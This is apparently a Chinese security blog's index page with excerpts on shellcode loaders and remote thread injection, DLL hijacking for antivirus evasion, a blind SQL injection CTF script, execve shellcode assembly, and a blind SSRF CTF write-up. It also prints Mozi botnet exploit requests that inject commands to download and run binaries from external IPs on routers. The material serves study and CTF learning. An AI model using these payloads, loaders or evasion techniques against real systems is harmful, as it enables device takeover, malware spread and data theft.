shellcode加载执行

shellcode执行 具体何谓shellcode可以看这篇文章 https://srcblog.neko25.top/index.php/archives/28/ 聊了聊shellcode的基础,windows与linux原理相同,方便起见直接使用cs生成 指针执行 将shellcode存储与数组,并取数组地址,将地址转换为void无参数函数指针,并去执行,代码如下 #include <iostream> #include <Windows.h> // 指定链接器选项,修改.data段为可读、可写、可执行 #pragma comment(linker, "/section:.data,RWE") // shellcode unsigned char hexData[990] = { }; int main() { // 将hexData转换为函数指针并执行 ((void(*)(void)) & hexData)(); return 0; } 这也是网上很多shellcodeloader教程给出的第一个最基础的loader ,但其实是有问题的,当代的windows都有一个叫做DEP数据执行保护的安全机制,在编写此类的loader时需要手动修改他,可以使用VirtualProtect BOOL VirtualProtect( LPVOID lpAddress, // 指向要修改的内存区域的起始地址 SIZE_T dwSize, // 需要修改的内存区域大小,以字节为单位 DWORD flNewProtect, // 新的保护属性(如只读、读写、可执行等) PDWORD lpflOldProtect // 保存旧的保护属性的指针 ); int main() { VirtualProtect(hexData, sizeof(hexData), PAGE_EXECUTE_READWRITE, NULL); // 将hexData转换为函数指针并执行 ((void(*)(void)) & hexData)(); return 0; } 远程线程注入 简单理解,在已存在的进程中创建一个空间运行注入shellcode的内存空间 ...

October 12, 2024 · 3 min · 494 words · neko

免杀——DLL劫持上线

免杀 DLL劫持 什么是DLL windows上的动态链接库,允许多个程序复用一个dll中的代码,从而减少程序体积,详细介绍可以看 https://learn.microsoft.com/zh-cn/troubleshoot/windows-client/setup-upgrade-and-drivers/dynamic-link-library 动态链接库的创建 安装vs studio在其中就可以创建出dll项目,其中的DllMain就是函数入口 下属的switch分支四个case分别代表了,进程加载时进入,创建了一个新线程时进入,线程退出时进入,卸载dll时进入 // dllmain.cpp : 定义 DLL 应用程序的入口点。 #include "pch.h" BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; } 其中下面四个case分别是 DLL_PROCESS_ATTACH 如果有全新进程加载dll DLL_THREAD_ATTACH 当新线程被加载 DLL_THREAD_DETACH 当有一个线程退出时 DLL_PROCESS_DETACH 当进程卸载dll时 ps:进程包含线程,进程相互独立,线程共享进程 了解这些就可以写出以下的内容,例如我想在dll调用的时候输出一个helloword // dllmain.cpp : 定义 DLL 应用程序的入口点。 #include "pch.h" BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: MessageBox(NULL, L"Hello World!", L"DLL Loaded", MB_OK); break; case DLL_THREAD_ATTACH: break; case DLL_THREAD_DETACH: break; case DLL_PROCESS_DETACH: MessageBox(NULL, L"DLL_PROCESS_DETACH", L"DLL Loaded", MB_OK); break; } return TRUE; } 因为将dll写为,如果dll被加载或被卸载就弹窗,所以只需要写一个加载他的代码就好 ...

October 8, 2024 · 3 min · 519 words · neko

ctfshowWP

今后有关ctfshow的解题都会在这里 ctfshow web8 sql注入,不过过滤了很多东西,常见的and,union空格 但依旧可以通过 GET /index.php?id=2/**/or/**/true# GET /index.php?id=2/**/or/**/false# 来判断真假来注入 需要使用盲注,函数为ascii,原理就是比对 or/**/ascii(substr(database()from/**/1/**/for/**/1))=ascii(substr(database()from/**/1/**/for/**/1))%23 截取当前数据库的第一个字符,比对第一个字符,返回很多文章,证明是true,成功 查询当前数据库的代码 import requests def check_id(id_value, position): # position 递增 url = f"https://df8032cd-0662-449d-bb7d-7ccd15eb9c62.challenge.ctf.show/index.php?id=-1/**/or/**/ascii(substr(database()from/**/{position}/**/for/**/1))={id_value}#" response = requests.get(url, verify=False) # 长度大于 403 ASCII if len(response.content) > 403: ascii_value = chr(id_value) return ascii_value return None def main(): inp = "" position = 1 # 查询位置 while position <= 5: for i in range(0, 128): # 遍历ascii result = check_id(i, position) if result is not None: inp += result print(f"Position: {position}, ASCII: {result}") position += 1 break print(f"Final input: {inp}") if __name__ == "__main__": main() 查询到数据库名称为web8 ...

September 16, 2024 · 2 min · 316 words · neko

shellcode初探索

shellcode初探——helloShellcode 我曾在一篇博客里写过 安全就是一群点错技能树的程序员——有些甚至不是 很遗憾,我就是后者,对于c的理解仅仅存在于hello word,shellcode也是只存在与msfvenom 这次算是我第一次算是认真接触 ShellCode? 机器码? shellcode的本质上一段机器码,通常由汇编代码编译而成的最终产物,例如我想获得一个拉起bashshell的机器码需要做的是先获得一个bashshell的程序,在汇编中的他的写法是这样的 section .data bin_sh db '/bin/bash', 0x00 ; 字符串 "/bin/bash" section .text global _start _start: ; 调用 execve("/bin/bash", ["/bin/bash"], NULL) xor rax, rax ; 清除 rax mov rdi, bin_sh ; rdi 指向 "/bin/bash" push rax ; 在栈上压入 NULL (argv) mov rsi, rsp ; rsi 指向 argv 数组 push rax ; 在栈上压入 NULL (envp) mov rdx, rsp ; rdx 指向 envp 数组 mov al, 59 ; syscall 59 是 execve syscall ; 触发系统调用 这段代码通过系统调用execve执行了/bin/sh,要获得他的机器码需要先编译为可执行文件,而汇编到可执行文件有两步 ...

September 9, 2024 · 3 min · 491 words · neko

mozi僵尸网络样本

Mozi.m 数个payload: GET /boaform/admin/formLogin?username=adminisp&psd=adminisp HTTP/1.0 20http://%s:%d/Mozi.m%20-O%20->%20/tmp/Netlink.m;chmod%20777%20/tmp/Netlink.m;/tmp/Netlink.m&waninf=1_INTERNET_R_VID_154 HTTP/1.0 POST /HNAP1/ HTTP/1.0 Host: Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://117.253.201.134:42483/Mozi.m && chmod 777 /tmp/Mozi.m && /tmp/Mozi.m` Content-Length: 640 <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> POST /GponForm/diag_Form?images/ HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: */* User-Agent: Hello, World Content-Length: 118 XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=``;wget+http://192.168.1.1:8088/Mozi.m+-O+->/tmp/gpon80;sh+/tmp/gpon80&ipv=0 GET /shell?cd+/tmp;rm+earm+earm7;nohup+wget+http:/\/154.216.18.196/earm7;chmod+777+earm7;./earm7+jaws;nohup+wget+http:/\/154.216.18.196/earm;chmod+777+earm;./earm+jaws HTTP/1.1 Host: Connection: keep-alive Cache-Control: max-age=0 User-Agent: KrebsOnSecurity Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 很特别是ua Hello, World ...

August 19, 2024 · 1 min · 200 words · neko

R3PHP wp

R3PHP 如果没有题解我绝对想不到 原题: <?php error_reporting(0); if(strpos($_REQUEST['url'],"http")===0){ $opts = array( 'http'=>array( 'method'=>"GET", 'header'=>$_REQUEST['header']) ); $context = stream_context_create($opts); $file = file_get_contents($_REQUEST['url'], false, $context); // echo $file; # no show for u }else{ echo "hacker!"; } highlight_file(__FILE__); ?> 应该是出题人的人说 First, by reading the code, you can know that it is a blind ssrf, and then you can also pass the header header After casually entering a url, I found that 404 is phpstudy, and I can tell that it is a small skin panel of linux. The code of phpstudy Panel, audit found that all requests go through port 8090: ...

June 11, 2024 · 3 min · 602 words · neko